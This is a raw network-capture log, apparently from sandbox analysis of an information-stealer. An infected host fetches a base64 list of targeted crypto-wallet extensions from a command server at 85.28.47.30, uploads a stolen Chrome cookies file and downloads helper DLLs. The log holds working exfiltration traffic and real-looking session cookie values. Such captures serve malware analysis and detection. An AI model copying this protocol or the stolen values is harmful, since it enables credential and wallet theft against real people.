Jul 4, 2024 22:20:23.150947094 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 4, 2024 22:20:23.150994062 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 4, 2024 22:20:23.151007891 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 4, 2024 22:20:23.151124001 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 4, 2024 22:20:23.151135921 CEST	700	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 4, 2024 22:20:23.152633905 CEST	466	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBK Host: 85.28.47.30 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="message"fplugins------HIJJEGDBFIIDGCAKJEBK--
Jul 4, 2024 22:20:23.339504957 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 4, 2024 22:20:23.359325886 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAEC Host: 85.28.47.30 Content-Length: 6143 Connection: Keep-Alive Cache-Control: no-cache
Jul 4, 2024 22:20:23.359363079 CEST	6143	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 4, 2024 22:20:24.303145885 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 22:20:24.547482014 CEST	90	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 22:20:24.793888092 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 4, 2024 22:20:24.793905020 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 4, 2024 22:20:24.793915987 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 4, 2024 22:20:24.794015884 CEST	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR
Jul 4, 2024 22:20:24.794028997 CEST	1236	IN	Data Raw: 80 75 11 8d 4b 01 c1 e2 06 89 08 8a 0b 83 e1 3f 01 ca eb e3 83 fa 7f 76 22 89 d0 25 00 f8 ff ff 3d 00 d8 00 00 74 14 89 d0 83 e0 fe 3d fe ff 00 00 b8 fd ff 00 00 0f 44 d0 eb 05 ba fd ff 00 00 89 d0 5b 5d c3 89 d0 c3 55 89 c1 01 d0 85 d2 ba ff ff Data Ascii: uK?v"%=t=D[]USI1t9sAvuA@[] gatU$1UttA$Q]tMay?U[]DWVS~8u:TuT0A
Jul 4, 2024 22:20:26.008642912 CEST	949	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 85.28.47.30 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------IEHIIIJDAAAAAAKECBFB--
Jul 4, 2024 22:20:26.708686113 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 22:20:26.800283909 CEST	557	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 85.28.47.30 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 [TRUNCATED] Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file"------BFBGHDGCFHIDBGDGIIIE--
Jul 4, 2024 22:20:27.570343971 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 22:20:28.109592915 CEST	557	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECA Host: 85.28.47.30 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 [TRUNCATED] Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file"------GHDBKFHIJKJKECAAAECA--
Jul 4, 2024 22:20:28.751499891 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 22:20:29.032505989 CEST	90	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 22:20:29.214026928 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 4, 2024 22:20:29.983788013 CEST	90	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 22:20:30.165359020 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 4, 2024 22:20:30.663964987 CEST	91	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
